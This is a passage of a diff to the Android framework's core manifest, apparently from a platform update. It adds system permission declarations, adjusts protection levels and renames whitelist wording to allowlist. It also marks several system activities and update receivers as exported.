     <permission android:name="android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP"
                 android:protectionLevel="signature" />
 
+    <!-- Allows a font updater application to request that the system installs/uninstalls/updates
+         font files. @SystemApi @hide -->
+    <permission android:name="android.permission.UPDATE_FONTS"
+                android:protectionLevel="signature|privileged" />
+
     <!-- ========================================= -->
     <!-- Permissions for special development tools -->
     <!-- ========================================= -->
@@ -3135,7 +3319,7 @@
          and its icons.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.STATUS_BAR"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|recents" />
 
     <!-- Allows an application to trigger bugreport via shell using the bugreport API.
         <p>Not for use by third-party applications.
@@ -3145,8 +3329,8 @@
         android:protectionLevel="signature" />
 
     <!-- Allows an application to be the status bar.  Currently used only by SystemUI.apk
-    @hide -->
-    // TODO: remove telephony once decouple settings activity from phone process
+        @hide
+        @SystemApi -->
     <permission android:name="android.permission.STATUS_BAR_SERVICE"
         android:protectionLevel="signature" />
 
@@ -3158,8 +3342,7 @@
 
     <!-- Allows SystemUI to request third party controls.
          <p>Should only be requested by the System and required by
-         ControlsService declarations.
-         @hide
+         {@link android.service.controls.ControlsProviderService} declarations.
     -->
     <permission android:name="android.permission.BIND_CONTROLS"
         android:protectionLevel="signature" />
@@ -3212,6 +3395,7 @@
          {@link android.view.WindowManager.LayoutsParams#SYSTEM_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
          to hide non-system-overlay windows.
          <p>Not for use by third-party applications.
+         @deprecated Use {@link android.Manifest.permission#HIDE_OVERLAY_WINDOWS} instead
          @hide
     -->
     <permission android:name="android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS"
@@ -3302,7 +3486,7 @@
          critical UI such as the home screen.
          @hide -->
     <permission android:name="android.permission.STOP_APP_SWITCHES"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|recents" />
 
     <!-- @SystemApi Allows an application to retrieve private information about
          the current top activity, such as any assist context it can provide.
@@ -3397,6 +3581,12 @@
     <permission android:name="android.permission.BIND_COMPANION_DEVICE_MANAGER_SERVICE"
         android:protectionLevel="signature" />
 
+    <!-- Must be required by any
+         {@link android.companion.CompanionDeviceService}s
+         to ensure that only the system can bind to it. -->
+    <permission android:name="android.permission.BIND_COMPANION_DEVICE_SERVICE"
+                android:protectionLevel="signature" />
+
     <!-- @SystemApi Must be required by the RuntimePermissionPresenterService to ensure
          that only the system can bind to it.
          @hide -->
@@ -3419,6 +3609,15 @@
                 android:protectionLevel="signature" />
     <uses-permission android:name="android.permission.BIND_ATTENTION_SERVICE" />
 
+    <!-- @SystemApi Must be required by a RotationResolverService
+         to ensure that only the system can bind to it.
+         <p>Protection level: signature
+         @hide
+    -->
+    <permission android:name="android.permission.BIND_ROTATION_RESOLVER_SERVICE"
+        android:protectionLevel="signature" />
+    <uses-permission android:name="android.permission.BIND_ROTATION_RESOLVER_SERVICE" />
+
     <!-- Must be required by a {@link android.net.VpnService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
@@ -3440,6 +3639,14 @@
     <permission android:name="android.permission.BIND_VOICE_INTERACTION"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Must be required by a {@link android.service.voice.HotwordDetectionService},
+         to ensure that only the system can bind to it.
+         <p>Protection level: signature
+         @hide This is not a third-party API (intended for OEMs and system apps).
+    -->
+    <permission android:name="android.permission.BIND_HOTWORD_DETECTION_SERVICE"
+        android:protectionLevel="signature" />
+
     <!-- Must be required by a {@link android.service.autofill.AutofillService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
@@ -3486,6 +3693,23 @@
     <permission android:name="android.permission.BIND_CONTENT_CAPTURE_SERVICE"
                 android:protectionLevel="signature" />
 
+    <!-- Must be required by a android.service.translation.TranslationService,
+         to ensure that only the system can bind to it.
+         @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
+         <p>Protection level: signature
+    -->
+    <permission android:name="android.permission.BIND_TRANSLATION_SERVICE"
+                android:protectionLevel="signature" />
+
+    <!-- @SystemApi Allows apps to use ui translation functions.
+             <p>Protection level: signature|privileged
+             <p> TODO(b/177703453): Restrict to a specific Role instead of allowing access to any
+             privileged app.
+             @hide Not for use by third-party applications.
+    -->
+    <permission android:name="android.permission.MANAGE_UI_TRANSLATION"
+                android:protectionLevel="signature|privileged" />
+
     <!-- Must be required by a android.service.contentsuggestions.ContentSuggestionsService,
          to ensure that only the system can bind to it.
          @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
@@ -3494,6 +3718,14 @@
     <permission android:name="android.permission.BIND_CONTENT_SUGGESTIONS_SERVICE"
                 android:protectionLevel="signature" />
 
+    <!-- Must be declared by a android.service.musicrecognition.MusicRecognitionService,
+         to ensure that only the system can bind to it.
+         @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
+         <p>Protection level: signature
+    -->
+    <permission android:name="android.permission.BIND_MUSIC_RECOGNITION_SERVICE"
+        android:protectionLevel="signature" />
+
     <!-- Must be required by a android.service.autofill.augmented.AugmentedAutofillService,
          to ensure that only the system can bind to it.
          @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
@@ -3503,14 +3735,14 @@
                 android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.service.voice.VoiceInteractionService} implementation
-      to enroll its own sound models. This is a more restrictive permission than the higher-level
-      permission KEYPHRASE_ENROLLMENT_APPLICATION. For the caller to enroll sound models with
-      this permission, it must hold the permission and be the active VoiceInteractionService in
-      the system.
-      {@see Settings.Secure.VOICE_INTERACTION_SERVICE}
-      @hide -->
+         to enroll its own sound models. This is a more restrictive permission than the higher-level
+         permission KEYPHRASE_ENROLLMENT_APPLICATION. For the caller to enroll sound models with
+         this permission, it must hold the permission and be the active VoiceInteractionService in
+         the system.
+         {@see Settings.Secure.VOICE_INTERACTION_SERVICE}
+         @hide -->
     <permission android:name="android.permission.MANAGE_VOICE_KEYPHRASES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a keyphrase enrollment application, to enroll sound models. This is
          treated as a higher-level permission to MANAGE_VOICE_KEYPHRASES as a caller can enroll
@@ -3519,7 +3751,7 @@
          only.
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.KEYPHRASE_ENROLLMENT_APPLICATION"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link com.android.media.remotedisplay.RemoteDisplayProvider},
          to ensure that only the system can bind to it.
@@ -3591,6 +3823,15 @@
          @hide -->
     <permission android:name="android.permission.MEDIA_RESOURCE_OVERRIDE_PID"
          android:protectionLevel="signature" />
+    <uses-permission android:name="android.permission.MEDIA_RESOURCE_OVERRIDE_PID" />
+
+    <!-- This permission is required by Media Resource Observer Service when
+         accessing its registerObserver Api.
+         <p>Protection level: signature|privileged
+         <p>Not for use by third-party applications.
+         @hide -->
+    <permission android:name="android.permission.REGISTER_MEDIA_RESOURCE_OBSERVER"
+         android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.media.routing.MediaRouteService}
          to ensure that only the system can interact with it.
@@ -3630,7 +3871,7 @@
          @hide
     -->
     <permission android:name="android.permission.SET_ORIENTATION"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|recents" />
 
     <!-- @SystemApi Allows low-level access to setting the pointer speed.
          <p>Not for use by third-party applications.
@@ -3709,6 +3950,17 @@
     <permission android:name="com.android.permission.INSTALL_EXISTING_PACKAGES"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an application to use the package installer v2 APIs.
+         <p>The package installer v2 APIs are still a work in progress and we're
+         currently validating they work in all scenarios.
+         <p>Not for use by third-party applications.
+         TODO(b/152310230): use this permission to protect only Incremental installations
+         once the APIs are confirmed to be sufficient.
+         @hide
+    -->
+    <permission android:name="com.android.permission.USE_INSTALLER_V2"
+        android:protectionLevel="signature|verifier" />
+
     <!-- @SystemApi @TestApi Allows an application to clear user data.
          <p>Not for use by third-party applications
          @hide
@@ -3820,11 +4072,12 @@
     <permission android:name="android.permission.ADJUST_RUNTIME_PERMISSIONS_POLICY"
                 android:protectionLevel="signature|installer" />
 
-    <!-- @hide Allows an application to upgrade runtime permissions. -->
+    <!-- @SystemApi @TestApi Allows an application to upgrade runtime permissions.
+    @hide -->
     <permission android:name="android.permission.UPGRADE_RUNTIME_PERMISSIONS"
                 android:protectionLevel="signature" />
 
-    <!-- @SystemApi Allows an application to whitelist restricted permissions
+    <!-- @SystemApi Allows an application to allowlist restricted permissions
          on any of the whitelists.
     @hide -->
     <permission android:name="android.permission.WHITELIST_RESTRICTED_PERMISSIONS"
@@ -3860,6 +4113,12 @@
     <permission android:name="android.permission.MANAGE_COMPANION_DEVICES"
                 android:protectionLevel="signature" />
 
+    <!-- Allows an application to subscribe to notifications about the presence status change
+         of their associated companion device
+         -->
+    <permission android:name="android.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE"
+                android:protectionLevel="normal" />
+
     <!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
          <p>Not for use by third-party applications.
          @hide
@@ -3867,13 +4126,21 @@
     <permission android:name="android.permission.ACCESS_SURFACE_FLINGER"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows an application to rotate a surface by arbitrary degree.
+         This is a sub-feature of ACCESS_SURFACE_FLINGER and can be granted in a more concrete way.
+         <p>Not for use by third-party applications.
+         @hide
+    -->
+    <permission android:name="android.permission.ROTATE_SURFACE_FLINGER"
+        android:protectionLevel="signature|recents" />
+
     <!-- Allows an application to take screen shots and more generally
          get access to the frame buffer data.
          <p>Not for use by third-party applications.
           @hide
           @removed -->
     <permission android:name="android.permission.READ_FRAME_BUFFER"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|recents" />
 
     <!-- Allows an application to use InputFlinger's low level features.
          @hide -->
@@ -3959,7 +4226,14 @@
          @hide
          @TestApi -->
     <permission android:name="android.permission.OVERRIDE_DISPLAY_MODE_REQUESTS"
-        android:protectionLevel="signature" />
+                android:protectionLevel="signature" />
+
+    <!-- Allows an application to modify the refresh rate switching type. This
+         matches Setting.Secure.MATCH_CONTENT_FRAME_RATE.
+         @hide
+         @TestApi -->
+    <permission android:name="android.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE"
+                android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to control VPN.
          <p>Not for use by third-party applications.</p>
@@ -3974,6 +4248,14 @@
     <permission android:name="android.permission.CONTROL_ALWAYS_ON_VPN"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows an application to capture the audio from tuner input devices types,
+         such as FM_TUNER.
+
+         <p>Not for use by third-party applications.</p>
+         @hide -->
+    <permission android:name="android.permission.CAPTURE_TUNER_AUDIO_INPUT"
+                android:protectionLevel="signature|privileged" />
+
     <!-- Allows an application to capture audio output.
          Use the {@code CAPTURE_MEDIA_OUTPUT} permission if only the {@code USAGE_UNKNOWN}),
          {@code USAGE_MEDIA}) or {@code USAGE_GAME}) usages are intended to be captured.
@@ -4023,6 +4305,15 @@
     <permission android:name="android.permission.CAPTURE_AUDIO_HOTWORD"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Puts an application in the chain of trust for sound trigger
+         operations. Being in the chain of trust allows an application to
+         delegate an identity of a separate entity to the sound trigger system
+         and vouch for the authenticity of this identity.
+         <p>Not for use by third-party applications.</p>
+         @hide -->
+    <permission android:name="android.permission.SOUNDTRIGGER_DELEGATE_IDENTITY"
+        android:protectionLevel="signature|privileged" />
+
     <!-- @SystemApi Allows an application to modify audio routing and override policy decisions.
          <p>Not for use by third-party applications.</p>
          @hide -->
@@ -4101,6 +4392,12 @@
     <permission android:name="android.permission.POWER_SAVER"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows providing the system with battery predictions.
+         Superseded by DEVICE_POWER permission. @hide @SystemApi
+    -->
+    <permission android:name="android.permission.BATTERY_PREDICTION"
+                android:protectionLevel="signature|privileged" />
+
    <!-- Allows access to the PowerManager.userActivity function.
    <p>Not for use by third-party applications. @hide @SystemApi -->
     <permission android:name="android.permission.USER_ACTIVITY"
@@ -4117,6 +4414,14 @@
     <permission android:name="android.permission.FACTORY_TEST"
         android:protectionLevel="signature" />
 
+    <!-- @hide @TestApi Allows an application to broadcast the intent {@link
+         android.content.Intent#ACTION_CLOSE_SYSTEM_DIALOGS}.
+         <p>Not for use by third-party applications.
+    -->
+    <permission android:name="android.permission.BROADCAST_CLOSE_SYSTEM_DIALOGS"
+        android:protectionLevel="signature|privileged|recents" />
+    <uses-permission android:name="android.permission.BROADCAST_CLOSE_SYSTEM_DIALOGS" />
+
     <!-- Allows an application to broadcast a notification that an application
          package has been removed.
          <p>Not for use by third-party applications.
@@ -4188,7 +4493,10 @@
          set of pages referenced over time.
          <p>Declaring the permission implies intention to use the API and the user of the
          device can grant permission through the Settings application.
-         <p>Protection level: signature|privileged|appop -->
+         <p>Protection level: signature|privileged|appop
+         <p>A data loader has to be the one which provides data to install an app.
+         <p>A data loader has to have both permission:LOADER_USAGE_STATS AND
+         appop:LOADER_USAGE_STATS allowed to be able to access the read logs. -->
     <permission android:name="android.permission.LOADER_USAGE_STATS"
         android:protectionLevel="signature|privileged|appop" />
     <uses-permission android:name="android.permission.LOADER_USAGE_STATS" />
@@ -4203,7 +4511,7 @@
     <permission android:name="android.permission.CHANGE_APP_IDLE_STATE"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @hide @SystemApi Allows an application to temporarily whitelist an inactive app to
+    <!-- @hide @SystemApi Allows an application to temporarily allowlist an inactive app to
          access the network and acquire wakelocks.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CHANGE_DEVICE_IDLE_TEMP_WHITELIST"
@@ -4440,6 +4748,26 @@
     <permission android:name="android.permission.BIND_INTENT_FILTER_VERIFIER"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi @hide Domain verification agent package needs to have this permission before the
+         system will trust it to verify domains.
+
+         TODO(159952358): STOPSHIP: This must be updated to the new "internal" protectionLevel
+    -->
+    <permission android:name="android.permission.DOMAIN_VERIFICATION_AGENT"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- @SystemApi @hide Must be required by the domain verification agent's intent
+         BroadcastReceiver, to ensure that only the system can interact with it.
+    -->
+    <permission android:name="android.permission.BIND_DOMAIN_VERIFICATION_AGENT"
+        android:protectionLevel="signature" />
+
+    <!-- @SystemApi @hide Allows an app like Settings to update the user's grants to what domains
+         an app is allowed to automatically open.
+    -->
+    <permission android:name="android.permission.UPDATE_DOMAIN_VERIFICATION_USER_SELECTION"
+        android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows applications to access serial ports via the SerialManager.
          @hide -->
     <permission android:name="android.permission.SERIAL_PORT"
@@ -4488,6 +4816,12 @@
     <permission android:name="android.permission.MANAGE_NOTIFICATIONS"
                 android:protectionLevel="signature" />
 
+    <!-- @SystemApi @TestApi Allows adding/removing enabled notification listener components.
+        @hide -->
+    <permission android:name="android.permission.MANAGE_NOTIFICATION_LISTENERS"
+                android:protectionLevel="signature|installer" />
+    <uses-permission android:name="android.permission.MANAGE_NOTIFICATION_LISTENERS" />
+
     <!-- Allows notifications to be colorized
          <p>Not for use by third-party applications. @hide -->
     <permission android:name="android.permission.USE_COLORIZED_NOTIFICATIONS"
@@ -4511,6 +4845,12 @@
     <permission android:name="android.permission.RESET_FINGERPRINT_LOCKOUT"
         android:protectionLevel="signature" />
 
+    <!-- Allows access to TestApis for various components in the biometric stack, including
+         FingerprintService, FaceService, BiometricService. Used by com.android.server.biometrics
+         CTS tests. @hide @TestApi -->
+    <permission android:name="android.permission.TEST_BIOMETRIC"
+        android:protectionLevel="signature" />
+
     <!-- Allows direct access to the <Biometric>Service interfaces. Reserved for the system. @hide -->
     <permission android:name="android.permission.MANAGE_BIOMETRIC"
         android:protectionLevel="signature" />
@@ -4523,10 +4863,6 @@
     <permission android:name="android.permission.MANAGE_BIOMETRIC_DIALOG"
         android:protectionLevel="signature" />
 
-    <!-- Allows an app to reset face authentication attempt counter. Reserved for the system. @hide -->
-    <permission android:name="android.permission.RESET_FACE_LOCKOUT"
-        android:protectionLevel="signature" />
-
     <!-- Allows an application to control keyguard.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.CONTROL_KEYGUARD"
@@ -4747,6 +5083,12 @@
     <permission android:name="android.permission.HANDLE_CAR_MODE_CHANGES"
                 android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi Allows the holder to send category_car notifications.
+        @hide -->
+    <permission
+        android:name="android.permission.SEND_CATEGORY_CAR_NOTIFICATIONS"
+        android:protectionLevel="signature|privileged" />
+
     <!-- The system process is explicitly the only one allowed to launch the
          confirmation UI for full backup/restore -->
     <uses-permission android:name="android.permission.CONFIRM_FULL_BACKUP"/>
@@ -4782,6 +5124,13 @@
     <permission android:name="android.permission.MANAGE_SOUND_TRIGGER"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Must be required by system/priv apps to run sound trigger recognition sessions while in
+     battery saver mode.
+     @hide
+     @SystemApi -->
+    <permission android:name="android.permission.SOUND_TRIGGER_RUN_IN_BATTERY_SAVER"
+                android:protectionLevel="signature|privileged" />
+
     <!-- Must be required by system/priv apps implementing sound trigger detection services
          @hide
          @SystemApi -->
@@ -4829,7 +5178,7 @@
     <permission android:name="android.permission.ACCESS_VR_STATE"
         android:protectionLevel="signature|preinstalled" />
 
-    <!-- Allows an application to whitelist tasks during lock task mode
+    <!-- Allows an application to allowlist tasks during lock task mode
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.UPDATE_LOCK_TASK_PACKAGES"
         android:protectionLevel="signature|setup" />
@@ -4855,6 +5204,16 @@
     <permission android:name="android.permission.MANAGE_CONTENT_CAPTURE"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows an application to manager the rotation resolver service.
+         @hide <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MANAGE_ROTATION_RESOLVER"
+        android:protectionLevel="signature"/>
+
+    <!-- @SystemApi Allows an application to manage the music recognition service.
+         @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MANAGE_MUSIC_RECOGNITION"
+        android:protectionLevel="signature|privileged" />
+
     <!-- @SystemApi Allows an application to manage the content suggestions service.
          @hide  <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.MANAGE_CONTENT_SUGGESTIONS"
@@ -4865,6 +5224,16 @@
     <permission android:name="android.permission.MANAGE_APP_PREDICTIONS"
          android:protectionLevel="signature|appPredictor" />
 
+    <!-- @SystemApi Allows an application to manage the search ui service.
+         @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MANAGE_SEARCH_UI"
+                android:protectionLevel="signature" />
+
+    <!-- @SystemApi Allows an application to manage the smartspace service.
+         @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MANAGE_SMARTSPACE"
+                android:protectionLevel="signature" />
+
     <!-- Allows an app to set the theme overlay in /vendor/overlay
          being used.
          @hide  <p>Not for use by third-party applications.</p> -->
@@ -4974,7 +5343,7 @@
     <!-- @SystemApi Allows modifying accessibility state.
          @hide -->
     <permission android:name="android.permission.MANAGE_ACCESSIBILITY"
-        android:protectionLevel="signature|setup" />
+        android:protectionLevel="signature|setup|recents" />
 
     <!-- @SystemApi Allows an app to grant a profile owner access to device identifiers.
          <p>Not for use by third-party applications.
@@ -5054,13 +5423,14 @@
 
     <!-- Allows input events to be monitored. Very dangerous!  @hide -->
     <permission android:name="android.permission.MONITOR_INPUT"
-                android:protectionLevel="signature" />
+                android:protectionLevel="signature|recents" />
     <!--  Allows the caller to change the associations between input devices and displays.
         Very dangerous! @hide -->
     <permission android:name="android.permission.ASSOCIATE_INPUT_DEVICE_TO_DISPLAY_BY_PORT"
                 android:protectionLevel="signature" />
 
-    <!-- Allows query of any normal app on the device, regardless of manifest declarations. -->
+    <!-- Allows query of any normal app on the device, regardless of manifest declarations.
+        <p>Protection level: normal -->
     <permission android:name="android.permission.QUERY_ALL_PACKAGES"
                 android:protectionLevel="normal" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
@@ -5092,10 +5462,78 @@
     <permission android:name="android.permission.ACCESS_LOCUS_ID_USAGE_STATS"
                 android:protectionLevel="signature|appPredictor" />
 
+    <!-- @hide @TestApi Allows apps to reset the state of {@link com.android.server.am.AppErrors}.
+         <p>CTS tests will use UiAutomation.adoptShellPermissionIdentity() to gain access.  -->
+    <permission android:name="android.permission.RESET_APP_ERRORS"
+        android:protectionLevel="signature" />
+
     <!-- @hide Allows an application to create/destroy input consumer. -->
     <permission android:name="android.permission.INPUT_CONSUMER"
                 android:protectionLevel="signature" />
 
+    <!-- Allows an app to use exact alarm scheduling APIs to perform timing
+     sensitive background work.
+    -->
+    <permission android:name="android.permission.SCHEDULE_EXACT_ALARM"
+                android:protectionLevel="normal|appop"/>
+
+    <!-- @hide Allows an application to control the system's device state managed by the
+         {@link android.service.devicestate.DeviceStateManagerService}. For example, on foldable
+         devices this would grant access to toggle between the folded and unfolded states. -->
+    <permission android:name="android.permission.CONTROL_DEVICE_STATE"
+                android:protectionLevel="signature" />
+
+    <!-- Must be required by an {@link android.service.displayhash.DisplayHasherService}
+         to ensure that only the system can bind to it.
+         @hide This is not a third-party API (intended for OEMs and system apps).
+    -->
+    <permission android:name="android.permission.BIND_DISPLAY_HASHER_SERVICE"
+        android:protectionLevel="signature" />
+
+    <!-- @hide @TestApi Allows an application to enable/disable toast rate limiting.
+         <p>Not for use by third-party applications.
+    -->
+    <permission android:name="android.permission.MANAGE_TOAST_RATE_LIMITING"
+                android:protectionLevel="signature" />
+
+    <!-- Allows managing the Game Mode
+     @hide Used internally. -->
+    <permission android:name="android.permission.MANAGE_GAME_MODE"
+                android:protectionLevel="signature" />
+
+    <!-- @SystemApi Allows the holder to register callbacks to inform the RebootReadinessManager
+         when they are performing reboot-blocking work.
+         @hide -->
+    <permission android:name="android.permission.SIGNAL_REBOOT_READINESS"
+                android:protectionLevel="signature|privileged" />
+
+    <!-- @hide Allows an application to get a People Tile preview for a given shortcut. -->
+    <permission android:name="android.permission.GET_PEOPLE_TILE_PREVIEW"
+        android:protectionLevel="signature|recents" />
+
+    <!-- @hide @SystemApi Allows access to whether a shortcut is represented by
+         a Conversation. -->
+    <permission android:name="android.permission.READ_PEOPLE_DATA"
+        android:protectionLevel="signature|appPredictor|recents" />
+
+    <!-- Attribution for Geofencing service. -->
+    <attribution android:tag="GeofencingService" android:label="@string/geofencing_service"/>
+    <!-- Attribution for Country Detector. -->
+    <attribution android:tag="CountryDetector" android:label="@string/country_detector"/>
+    <!-- Attribution for Location service. -->
+    <attribution android:tag="LocationService" android:label="@string/location_service"/>
+    <!-- Attribution for Gnss service. -->
+    <attribution android:tag="GnssService" android:label="@string/gnss_service"/>
+    <!-- Attribution for Sensor Notification service. -->
+    <attribution android:tag="SensorNotificationService"
+             android:label="@string/sensor_notification_service"/>
+    <!-- Attribution for Twilight service. -->
+    <attribution android:tag="TwilightService" android:label="@string/twilight_service"/>
+    <!-- Attribution for the Offline LocationTimeZoneProvider, used to detect time zone using
+         on-device data -->
+    <attribution android:tag="OfflineLocationTimeZoneProviderService"
+                 android:label="@string/offline_location_time_zone_detection_service_attribution"/>
+
     <application android:process="system"
                  android:persistent="true"
                  android:hasCode="false"
@@ -5110,21 +5548,22 @@
                  android:forceQueryable="true"
                  android:directBootAware="true">
         <activity android:name="com.android.internal.app.ChooserActivity"
-                android:theme="@style/Theme.DeviceDefault.Resolver"
+                android:theme="@style/Theme.DeviceDefault.Chooser"
                 android:finishOnCloseSystemDialogs="true"
                 android:excludeFromRecents="true"
                 android:documentLaunchMode="never"
                 android:relinquishTaskIdentity="true"
                 android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
                 android:process=":ui"
+                android:exported="true"
                 android:visibleToInstantApps="true">
-            <intent-filter>
+            <intent-filter android:priority="100">
                 <action android:name="android.intent.action.CHOOSER" />
                 <category android:name="android.intent.category.DEFAULT" />
                 <category android:name="android.intent.category.VOICE" />
             </intent-filter>
         </activity>
-        <activity android:name="com.android.internal.app.AccessibilityButtonChooserActivity"
+        <activity android:name="com.android.internal.accessibility.dialog.AccessibilityShortcutChooserActivity"
                   android:exported="false"
                   android:theme="@style/Theme.DeviceDefault.Dialog.Alert.DayNight"
                   android:finishOnCloseSystemDialogs="true"
@@ -5139,9 +5578,24 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
         </activity>
+        <activity android:name="com.android.internal.accessibility.dialog.AccessibilityButtonChooserActivity"
+                  android:exported="false"
+                  android:theme="@style/Theme.DeviceDefault.Resolver"
+                  android:finishOnCloseSystemDialogs="true"
+                  android:excludeFromRecents="true"
+                  android:documentLaunchMode="never"
+                  android:relinquishTaskIdentity="true"
+                  android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
+                  android:process=":ui"
+                  android:visibleToInstantApps="true">
+            <intent-filter>
+                <action android:name="com.android.internal.intent.action.CHOOSE_ACCESSIBILITY_BUTTON" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
         <activity android:name="com.android.internal.app.IntentForwarderActivity"
                 android:finishOnCloseSystemDialogs="true"
-                android:theme="@style/Theme.NoDisplay"
+                android:theme="@style/Theme.Translucent.NoTitleBar"
                 android:excludeFromRecents="true"
                 android:label="@string/user_owner_label"
                 android:exported="true"
@@ -5228,6 +5682,7 @@
         <activity android:name="com.android.internal.app.ShutdownActivity"
             android:permission="android.permission.SHUTDOWN"
             android:theme="@style/Theme.NoDisplay"
+            android:exported="true"
             android:excludeFromRecents="true">
             <intent-filter>
                 <action android:name="com.android.internal.intent.action.REQUEST_SHUTDOWN" />
@@ -5249,6 +5704,7 @@
                   android:enabled="false"
                   android:process=":ui"
                   android:systemUserOnly="true"
+                  android:exported="true"
                   android:theme="@style/Theme.Translucent.NoTitleBar">
             <intent-filter android:priority="-100">
                 <action android:name="android.intent.action.MAIN" />
@@ -5261,6 +5717,7 @@
         <activity android:name="com.android.internal.app.ConfirmUserCreationActivity"
                 android:excludeFromRecents="true"
                 android:process=":ui"
+                android:exported="true"
                 android:theme="@style/Theme.Dialog.Confirmation">
             <intent-filter android:priority="1000">
                 <action android:name="android.os.action.CREATE_USER" />
@@ -5283,6 +5740,7 @@
         <activity android:name="com.android.internal.app.BlockedAppActivity"
                 android:theme="@style/Theme.Dialog.Confirmation"
                 android:excludeFromRecents="true"
+                android:lockTaskMode="always"
                 android:process=":ui">
         </activity>
 
@@ -5300,6 +5758,7 @@
         </activity>
 
         <receiver android:name="com.android.server.BootReceiver"
+                android:exported="true"
                 android:systemUserOnly="true">
             <intent-filter android:priority="1000">
                 <action android:name="android.intent.action.BOOT_COMPLETED" />
@@ -5307,6 +5766,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.CertPinInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_PINS" />
@@ -5315,6 +5775,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.IntentFirewallInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_INTENT_FIREWALL" />
@@ -5323,6 +5784,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.SmsShortCodesInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_SMS_SHORT_CODES" />
@@ -5331,6 +5793,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.NetworkWatchlistInstallReceiver"
+                  android:exported="true"
                   android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_NETWORK_WATCHLIST" />
@@ -5339,6 +5802,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.ApnDbInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="com.android.internal.intent.action.UPDATE_APN_DB" />
@@ -5347,6 +5811,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.CarrierProvisioningUrlsInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_CARRIER_PROVISIONING_URLS" />
@@ -5355,6 +5820,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.CertificateTransparencyLogInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_CT_LOGS" />
@@ -5363,6 +5829,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.LangIdInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_LANG_ID" />
@@ -5371,6 +5838,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.SmartSelectionInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_SMART_SELECTION" />
@@ -5379,6 +5847,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.ConversationActionsInstallReceiver"
+                  android:exported="true"
                   android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
